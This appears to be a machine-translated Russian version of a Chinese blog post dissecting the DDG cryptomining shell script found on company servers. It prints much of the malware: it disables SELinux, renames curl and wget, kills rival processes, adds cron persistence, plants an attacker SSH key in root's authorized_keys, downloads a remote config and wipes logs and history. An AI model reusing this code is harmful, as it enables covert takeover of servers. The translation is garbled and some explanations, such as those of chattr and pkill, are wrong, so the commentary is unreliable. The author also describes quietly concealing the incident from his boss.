Мощная разборка скрипта майнинга, кокетливая операция радуют глаз

Linux Командная строка

Оригинал: Miss Sister Taste (идентификатор публичной учетной записи WeChat: xjjdog), добро пожаловать, пожалуйста, сохраните источник для перепечатки.

Машин в компании несколько.В последнее время ЦП бешено работает,как будто афродизиак принимает,и греется. Потому что слишком много машин, так много машин, которые не были должным образом защищены, и они лежали в углу и бешено работали.

Аномалия обнаружилась только после того, как унифицированный сценарий мониторинга захватил эти машины. Наконец, был обнаружен ряд странных процессов, и оказалось, что это майнинг-скрипт. Я его скачал, изучил и обнаружил, что у автора сценария высокий уровень. Хотя майнинг на чужих машинах неэтичен, он не может прикрыть кокетливую работу сценаристов.

Майнинг, одно из самых запутанных явлений в компьютерных технологиях, приносит деньги. Сообщается, что скрипт называетсяDDG, добыла виртуальную валюту на сумму более 10 миллионов юаней.

В целях обучения я немного проанализировал этот волшебный скрипт, и его можно считать исчерпывающим для моего использования. Я не осмелился сказать об этом боссу, потому что он не понял, когда я это сказал, и это привело к аварии. Но с тобой нормально общаться, потому что ты понимаешь.

code 1

#!/bin/sh

Первая строка скрипта выглядит как комментарий, но это не так. Указывает следующий скрипт, который будет использоватьсяSHELLвоплощать в жизнь. как мы обычно используемbash,zshи т.д. принадлежатshНадмножество , этот скрипт используетshкак выполненоshell, с лучшей переносимостью.

code 2

setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

setenforceлинуксselinuxКоманда настройки брандмауэра, выполнитьsetenforce 0Указывает, что брандмауэр selinux отключен. 2 означает стандартную ошибку (stderr)значение. Поэтому позже используйте символ перенаправления, чтобы направить вывод ошибки команды на/dev/nullв устройстве. Это устройство является виртуальным устройством, то есть оно ничего не делает. Идеально подходит для того, чтобы делать плохие вещи тихо.

code 3

sync && echo 3 >/proc/sys/vm/drop_caches

Скрипт продуманно помог нам высвободить часть ресурсов памяти, чтобы получить больше ресурсов для майнинга.

Как мы все знаем, система Linux будет генерировать много кешей при длительной работе.Метод очистки заключается в записи числа вdrop_cachesфайл, этот номер обычно3.syncКоманда записывает все незаписанные системные буферы на диск, и после выполнения кэш можно с уверенностью освободить.

code 4

crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/sysupdates
rtdir="/etc/sysupdates"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cur"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wge"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/xget /usr/bin/get
mv /usr/bin/get /usr/bin/wge
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/xurl /usr/bin/url
mv /usr/bin/url /usr/bin/cur

Да, приведенные выше операторы предназначены для выполнения некоторых общих операций. Стоит отметить, что он использует некоторые из наших общих команд, используяmvКоманда была переименована. При выполнении команды она будет разделена на функции. Этот скрипт изменил некоторые файлы на компьютере, что является преступлением.

Чтобы повторно использовать некоторые функции, скрипт абстрагирует многие функции. Давайте сразу перейдем к выполнению основной функции и посмотрим на процесс.

code 5

прежде всегоkill_miner_procфункция. Код очень длинный, поэтому я не буду публиковать его весь.

kill_miner_proc()
{
    ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
  ...
    pkill -f biosetjenkins
    pkill -f Loopback
    ...
    crontab -r
    rm -rf /var/spool/cron/*

Поле добычи полезных ископаемых — это поле любви и убийства. Этот метод впервые используетps,grep,killНабор комбинаций, убить скрипт майнинга пира, а затем остановитьcronСценарий, черный ест черное чувство.

В этом скрипте используйтеpkillЗаказ. Эта команда завершит процесс и выкинет пользователя по номеру терминала, что является более жестоким.

code 6

Далее выполняетсяkill_sus_procфункция.

ps axf -o "pid"|while read procid
do
...
done

Добавьте параметр o в ps, вы можете указать столбец для вывода, здесь только pid процесса для вывода, а затем использовать функцию чтения для обхода procid.

code 7

ls -l /proc/$procid/exe | grep /tmp
if [ $? -ne 1 ]
then
...
fi

Выше показан процесс обхода, мы можем видеть синтаксис оператора if. в$?Относится к состоянию выхода предыдущей команды. 0 означает отсутствие ошибки, любое другое значение означает наличие ошибки.-neЭто означает не равно, что означает, что он может соответствовать строке tmp.

code 8

ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
do
...
done

О, есть еще один обход цикла выше. Однако на этот раз целью является процесс, который использует более 40% ЦП. Студенты, прочитавшие анализ awk, сделанный xjjdog, должны быть хорошо знакомы с этой командой. Это немного безжалостно: если это повлияет на мой процесс майнинга, я должен умереть!

Какая спешка жарить.

code 9

Далее скрипт выполняет разные операции для разных атрибутов пользователя.

Первый пользователь root. Судя по тому, есть ли$rtdirфайл, чтобы определить, есть ли у него привилегии root.

chattr -i /etc/sysupdate*
chattr -i /etc/config.json*
chattr -i /etc/update.sh*
chattr -i /root/.ssh/authorized_keys*
chattr -i /etc/networkservice

Использование команды chattr для превращения некоторых важных файлов в атрибуты, доступные только для чтения, которые нельзя изменить произвольно, также вредно. Затем запустите программу cron и добавьте службу обновления скрипта к времени.

Это скрипт ниже.

code 10

if [ ! -f "/usr/bin/crontab" ]
then
    echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}
else
    [[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab -
fi

Уведомление[[ $cont =~ "update.sh" ]]Это очень странно с небольшим фрагментом кода.[[ ]]это команда, встроенная в оболочку, которая поддерживает сопоставление строк с образцом. использовать=~Когда он даже поддерживает регулярные выражения оболочки, он невероятно мощный. Его вывод имеет логический тип, поэтому вы можете использовать||Делайте сшивание.

и следующие одинарные скобки(), да, это группа команд. Несколько команд в круглых скобках разделяются точкой с запятой. Последняя команда может быть без точки с запятой, эффект в основном такой же, как `cmd`.

code 11

После выполнения запланированной задачи вам необходимо настроить ssh для автоматического входа в систему, добавив открытый ключ в список доверия.

chmod 700 /root/.ssh/
echo >> /root/.ssh/authorized_keys
chmod 600 root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/                                                       oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+                                                                                                 4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+                  Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys

code 12

Сказал, что Цао Цао и Цао Цао прибудут, и следующий скрипт использует `` для работы.

filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
if [ "$filesize_config" -ne "$config_size" ]
then
    pkill -f sysupdate
    rm /etc/config.json
    downloads $config_url /etc/config.json $config_url_backup
else
    echo "no need download"
fi

Размер файла конфигурации определяется с помощью ряда операций, и если размер файла не соответствует размеру, загрузите новый. Это использует функцию загрузки.

Функция в оболочке выглядит странно, и следующие параметры передаются функции точно так же, как передается скрипт.

code 13

downloads $config_url /etc/config.json $config_url_backup

В этом предложении передаются три параметра.

Разумеется, файлы загружаются с удаленного сервера. Доменное имя заканчивается на .de, которое оказывается немецким доменным именем, и больше мы о нем ничего не знаем.

downloads()
{
    if [ -f "/usr/bin/curl" ]
    then
    echo $1,$2
        http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`
        if [ "$http_code" -eq "200" ]
        then
            curl --connect-timeout 10 --retry 100 $1 > $2
        elif [ "$http_code" -eq "405" ]
        then
            curl --connect-timeout 10 --retry 100 $1 > $2
        else
            curl --connect-timeout 10 --retry 100 $3 > $2
        fi
    elif [ -f "/usr/bin/cur" ]
    then
        http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1`
        if [ "$http_code" -eq "200" ]
        then
            cur --connect-timeout 10 --retry 100 $1 > $2
        elif [ "$http_code" -eq "405" ]
        then
            cur --connect-timeout 10 --retry 100 $1 > $2
        else
            cur --connect-timeout 10 --retry 100 $3 > $2
fi
    elif [ -f "/usr/bin/wget" ]
    then
        wget --timeout=10 --tries=100 -O $2 $1
        if [ $? -ne 0 ]
    then
        wget --timeout=10 --tries=100 -O $2 $3
        fi
    elif [ -f "/usr/bin/wge" ]
    then
        wge --timeout=10 --tries=100 -O $2 $1
        if [ $? -eq 0 ]
        then
            wge --timeout=10 --tries=100 -O $2 $3
        fi
    fi
}

На мой взгляд, автор этого кода вонючий и длинный, и не соответствует своему уровню. Надо бы торопиться, а о повторном использовании кода я не думал, поэтому и написал так низкоуровнево.

Как мы упоминали выше, скрипт изменил названия нескольких команд, в том числе curl. Эта команда настолько мощная, что автор скрипта не удержался от добавления множества параметров.

  • -Iиспользуется для проверки информации заголовка http
  • -mУстановите максимальное время передачи
  • -oУказывает имя файла для сохранения. Это /dev/null, эээ
  • -sбесшумный режим. ничего не выводить
  • --connect-timeoutвремя соединения вышло
  • --retryКоличество повторов, 100 раз

Без завитка? Затем используйте альтернативный wget, процедура такая же.

code 14

Далее следует ряд подобных операций, и, наконец,iptablesпакет операций.

iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -I INPUT -s 43.245.222.57 -j DROP
service iptables reload

code 15

Внимательный скриптер, также почистил журнал операций с командами.

history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history

Не показывайте тупиков, уходите с умом.

Видно, что не говоря уже о реальной программе майнинга, это всего лишь этот небольшой скрипт, и в него автор тоже вложил немало сил. В сценарии много команд, различные способы использования и элегантный формат сжатия.Если не считать небольшого многословия и отсутствия шифрования, это очень хороший сценарий для изучения.

Глядя на управляемую машину, я тайком быстро переустановил машину.

Просто относись к этому как к мечте. Когда босс спросил, ничего не произошло.

Есть студенты, которым нужно получить полный сценарий. Обратите внимание на публичный аккаунт xjjdog WeChat, ответьтеwkjb, ты можешь его достать.

Об авторе:Мисс сестра вкус(xjjdog), публичная учетная запись, которая не позволяет программистам идти в обход. Сосредоточьтесь на инфраструктуре и Linux. Десять лет архитектуры, десятки миллиардов ежедневного трафика, обсуждение с вами мира высокой параллелизма, дающие вам другой вкус. Мой личный WeChat xjjdog0, добро пожаловать в друзья для дальнейшего общения.​